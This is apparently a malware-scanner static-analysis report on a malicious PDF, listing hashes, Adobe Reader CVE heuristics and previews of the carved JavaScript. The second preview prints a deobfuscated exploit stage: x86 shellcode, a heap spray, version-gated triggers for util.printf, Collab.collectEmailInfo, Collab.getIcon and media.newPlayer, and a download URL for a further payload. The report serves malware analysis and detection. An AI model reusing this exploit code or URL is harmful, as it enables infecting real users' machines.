Malicious PDF — malware analysis report

Static analysis result for SHA-256 c6a85180ae12768e…

MALICIOUS

PDF

14.4 KB Created: 2010-04-08 22:32:25 First seen: 2026-05-07
MD5: 083144c6f0e644eac9ec88cf4ca80351 SHA-1: 48f0a053fb7b1503e0283408025a8c7222e9873a SHA-256: c6a85180ae12768e99d5047843093687541d947a2864c2d8a0454cc21c04f7d3
410 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file was flagged as malicious by an ML classifier with high confidence. Static analysis detected embedded JavaScript, indicating an attempt to execute code. The embedded JavaScript file, 'javascript_obj0026_000.js', is the primary indicator of malicious activity, likely serving as a downloader for further stages.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 10

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.feodaltr.ru/images/load.php?spl=pdf_11apr Referenced by PDF JavaScript
    • http://wwfoat.uiae/odppslpf1arReferenced by PDF JavaScript
    • http://w.edlrr/mgsla.h?p=d_1pReferenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0026_000.js pdf-javascript-stream PDF /JS object 26 at offset 0x2EFE 43585 bytes
SHA-256: 2bd46cbb27da35fa63752411c49708793cf9f148cfe3b5610e0cf433331dd5ca
Preview script
First 1,000 lines of the extracted script
/* acacatechol nepenthe
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abolitionism */                                                                     var readerWindow/* acacatechol nepenthe
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abolitionism */=                                             [/* acacatechol nepenthe
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abolitionism */"un" ,/* acacatechol nepenthe
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abolitionism */"pe"                                 ,/* acacatechol nepenthe
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abolitionism */""                                                         ,/* acacatechol nepenthe
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abolitionism */"ca"                                 ,/* acacatechol nepenthe
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abolitionism */"es"                                             ];/* acacatechol nepenthe
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abolitionism */unlock                                                     =/* acacatechol nepenthe
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abolitionism */new                                                                          String/* acacatechol nepenthe
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abolitionism */( readerWindow/* acacatechol nepenthe
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abolitionism */[                                                                                     0/* acacatechol nepenthe
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abolitionism */]                                                     +/* acacatechol nepenthe
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abolitionism */readerWindow                     [/* acacatechol nepenthe
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abolitionism */4                 ]/* acacatechol nepenthe
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abolitionism */+                                                                                         readerWindow/* acacatechol nepenthe
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abolitionism */[ 3/* acacatechol nepenthe
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abolitionism */]                                                                 +/* acacatechol nepenthe
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abolitionism */readerWindow                                             [/* acacatechol nepenthe
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abolitionism */1                                                         ]/* acacatechol nepenthe
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abolitionism */+                                                             readerWindow/* acacatechol nepenthe
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abolitionism */[                                                                         2/* acacatechol nepenthe
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abolitionism */]                     )/* acacatechol nepenthe
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abolitionism */;                     /* acacatechol nepenthe
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abolitionism */var array =/* acacatechol nepenthe
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abolitionism */[                                                                             "t"/* acacatechol nepenthe
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abolitionism */,                                                                             "C"/* acacatechol nepenthe
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abolitionism */,                                                 "d"/* acacatechol nepenthe
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abolitionism */,                                                                                         ""/* acacatechol nepenthe
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abolitionism */,                                             "c"/* acacatechol nepenthe
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abolitionism */,             "A"/* acacatechol nepenthe
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abolitionism */,                                                                         "r"/* acacatechol nepenthe
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abolitionism */,                                                         "o"/* acacatechol nepenthe
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abolitionism */,                                                                             "a"/* acacatechol nepenthe
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abolitionism */,                             "h"/* acacatechol nepenthe
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abolitionism */,                             "e"/* acacatechol nepenthe
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abolitionism */];     c/* acacatechol nepenthe
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abolitionism */=     new/* acacatechol nepenthe
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abolitionism */ String                         (/* acacatechol nepenthe
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abolitionism */array                                                                                 [/* acacatechol nepenthe
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abolitionism */4                                 ]/* acacatechol nepenthe
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abolitionism */+                                                                                                 array/* acacatechol nepenthe
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abolitionism */[                                                                     9/* acacatechol nepenthe
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abolitionism */]                             +/* acacatechol nepenthe
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abolitionism */array                                         [/* acacatechol nepenthe
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abolitionism */8                                                     ]/* acacatechol nepenthe
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abolitionism */+                                                                                             array/* acacatechol nepenthe
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abolitionism */[                                         6/* acacatechol nepenthe
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abolitionism */]                                                                                                 +/* acacatechol nepenthe
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abolitionism */array     [/* acacatechol nepenthe
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abolitionism */1                             ]/* acacatechol nepenthe
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abolitionism */+                 array/* acacatechol nepenthe
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abolitionism */[                                                                 7/* acacatechol nepenthe
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abolitionism */]                     +/* acacatechol nepenthe
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abolitionism */array             [/* acacatechol nepenthe
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abolitionism */2                                                         ]/* acacatechol nepenthe
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abolitionism */+                                                                                 array/* acacatechol nepenthe
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abolitionism */[ 10/* acacatechol nepenthe
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abolitionism */]                                                                             +/* acacatechol nepenthe
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abolitionism */array                                                                                             [/* acacatechol nepenthe
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abolitionism */5                                                                             ]/* acacatechol nepenthe
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abolitionism */+                                                                             array/* acacatechol nepenthe
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abolitionism */[                                                                                         0/* acacatechol nepenthe
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abolitionism */]                                                                                             +/* acacatechol nepenthe
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abolitionism */array                                                     [/* acacatechol nepenthe
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abolitionism */3                 ]/* acacatechol nepenthe
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abolitionism */)             ;/* acacatechol nepenthe
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abolitionism */                                                         var send/* acacatechol nepenthe
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abolitionism */=                                                                             [/* acacatechol nepenthe
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abolitionism */"th"                                                     ,/* acacatechol nepenthe
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abolitionism */"ag"                                                                                     ,/* acacatechol nepenthe
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abolitionism */"Wo"                 ,/* acacatechol nepenthe
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abolitionism */"rd"             ,/* acacatechol nepenthe
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abolitionism */"ge"                     ,/* acacatechol nepenthe
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abolitionism */"eN"                                                                     ,/* acacatechol nepenthe
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abolitionism */"tP"                                         ,/* acacatechol nepenthe
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abolitionism */""                                                                                                 ];/* acacatechol nepenthe
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abolitionism */window                                                                                     =/* acacatechol nepenthe
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abolitionism */new  String/* acacatechol nepenthe
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abolitionism */(                                                             send/* acacatechol nepenthe
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abolitionism */[                                                                                             4/* acacatechol nepenthe
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foresight
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abolitionism */]                                             +/* acacatechol nepenthe
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abolitionism */send             [/* acacatechol nepenthe
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abolitionism */6                                             ]/* acacatechol nepenthe
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abolitionism */+                                     send/* acacatechol nepenthe
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abolitionism */[                                                                     1/* acacatechol nepenthe
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abolitionism */]                                                                         +/* acacatechol nepenthe
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abolitionism */send                                                                                             [/* acacatechol nepenthe
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abolitionism */5                                                             ]/* acacatechol nepenthe
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abolitionism */+                                                         send/* acacatechol nepenthe
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abolitionism */[                                             0/* acacatechol nepenthe
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abolitionism */]                                     +/* acacatechol nepenthe
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abolitionism */send                                                                 [/* acacatechol nepenthe
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abolitionism */2         ]/* acacatechol nepenthe
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abolitionism */+                                                                                                 send/* acacatechol nepenthe
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abolitionism */[             3/* acacatechol nepenthe
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abolitionism */]                 +/* acacatechol nepenthe
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abolitionism */send                                                         [/* acacatechol nepenthe
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abolitionism */7                                                                                                 ]/* acacatechol nepenthe
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abolitionism */)                 ;/* acacatechol nepenthe
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abolitionism */                                                                                 var google/* acacatechol nepenthe
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abolitionism */=                                                                     [/* acacatechol nepenthe
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abolitionism */"Wo"                                                                             ,/* acacatechol nepenthe
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abolitionism */"s"                                                     ,/* acacatechol nepenthe
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abolitionism */"um"                                                                                             ,/* acacatechol nepenthe
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abolitionism */"ge"                                                                             ,/* acacatechol nepenthe
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abolitionism */"ag"                                     ,/* acacatechol nepenthe
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abolitionism */"eN"                                                                                     ,/* acacatechol nepenthe
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abolitionism */""                                                                                     ,/* acacatechol nepenthe
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abolitionism */"tP"                                                 ,/* acacatechol nepenthe
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abolitionism */"rd"                                                                             ];/* acacatechol nepenthe
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abolitionism */sendArray                                                                                 =/* acacatechol nepenthe
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abolitionism */new                                                          String/* acacatechol nepenthe
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abolitionism */(                                                                                     google/* acacatechol nepenthe
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abolitionism */[                                                                                                 3/* acacatechol nepenthe
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abolitionism */]                                                                         +/* acacatechol nepenthe
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abolitionism */google         [/* acacatechol nepenthe
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abolitionism */7                                                                                     ]/* acacatechol nepenthe
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abolitionism */+                                                                 google/* acacatechol nepenthe
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foresight
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abolitionism */[                             4/* acacatechol nepenthe
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abas
abolitionism */]                                         +/* acacatechol nepenthe
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abas
abolitionism */google                                                                                 [/* acacatechol nepenthe
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abolitionism */5                                             ]/* acacatechol nepenthe
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foresight
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abolitionism */+                                                 google/* acacatechol nepenthe
jasmin
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abolitionism */[                                                     2/* acacatechol nepenthe
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…
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 3693 bytes
SHA-256: 818d7a9ad6144721c0c473d5dd28925446c4a5d3c589f274f55555296976c67f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
/* getPageWords download URL: http://www.feodaltr.ru/images/load.php?spl=pdf_11apr */
var _u="http://www.feodaltr.ru/images/load.php?spl=pdf_11apr";
7WWWWw'wv7wCCSCCC0CCWssCsCssSpSs11p333p3p3pCCWSssbSWssCSGCpsbSCCpsbSGGCpCSs
	var src_table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%";
	var dest_table= "xa83V5OJ&Enl0Hpq-tNybkeYZ%cSAMTj7KFXBoI_rC6DL=0hwGdfu4Rvg:1zQsmiP2/9?W.U";

var hwTl9Dn = new Array();  

function get_shellcode(name) {

	var u = get_url();
	var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
	s+= u;
	return unescape(s);
}


function get_url(){ 
	var str = this.info.author;
	var ret = encode_str(str, dest_table, src_table);

	return ret;
};


function encode_str(str, src_table, dest_table){

	var ret="";
	for(var i=0; i < str.length; i++)
	{
		var index = src_table.indexOf(str[i]);
		if(index > -1 )
		{
			ret += dest_table[index];
		}
	}

	return ret;
};


function Rq4v1qCC(PDrScZj4, ez5pL6){    

	while (PDrScZj4.length * 2 < ez5pL6){      
		PDrScZj4 += PDrScZj4;    
	}    

	PDrScZj4 = PDrScZj4.substring(0, ez5pL6 / 2);    return PDrScZj4;  
}  

function x8EvTm(I7T0vko5){  

	var qPBt7D = 0x0c0c0c0c;        

	NRjjR6W6 = get_shellcode("pdf");

	if (I7T0vko5 == 1){qPBt7D = 0x30303030;}

	var FeQq1Vv = 0x400000;   
	var tsSzSc = NRjjR6W6.length * 2;    var ez5pL6 = FeQq1Vv - (tsSzSc + 0x38);    
	var PDrScZj4 = unescape("%u9090%u9090");    

	PDrScZj4 = Rq4v1qCC(PDrScZj4, ez5pL6);    

	var x62RaBM3 = (qPBt7D - 0x400000) / FeQq1Vv;    

	for (var Ojafoj = 0; Ojafoj < x62RaBM3; Ojafoj ++ ){    
		hwTl9Dn[Ojafoj] = PDrScZj4 + NRjjR6W6;    
	}
}  

function U2UcYKr(){   

var IyIFVe = app.viewerVersion.toString();          

	if (IyIFVe > 8)
	{
		x8EvTm(1);
		var iVvCdy8 = "12999999999999999999";          

		for (RvU5gmOE = 0; RvU5gmOE < 276; RvU5gmOE ++ )
		{
			iVvCdy8 += "8";   
		}

		util.printf("%45000f", iVvCdy8);      
	}


if (IyIFVe < 8){

	x8EvTm(0);    
	var UNXaCTHb = unescape("%u0c0c%u0c0c");    

	while (UNXaCTHb.length < 44952) UNXaCTHb += UNXaCTHb;    

	this .collabStore = Collab.collectEmailInfo({        subj : "", msg : UNXaCTHb});      
}       

if (IyIFVe < 9.1){

	if (app.doc.Collab.getIcon)
	{
		x8EvTm(0); 
        var eGREUTNw = unescape("%09");          
		while (eGREUTNw.length < 0x4000)eGREUTNw += eGREUTNw;

		eGREUTNw = "N." + eGREUTNw;    

		app.doc.Collab.getIcon(eGREUTNw);   
	}
}   
if (IyIFVe == 9.2){        
	x8EvTm(1);              
	util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());           
	try 
	{	
		media.newPlayer(null);              
	} catch(e) 
	{}
	util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
}

}

U2UcYKr();

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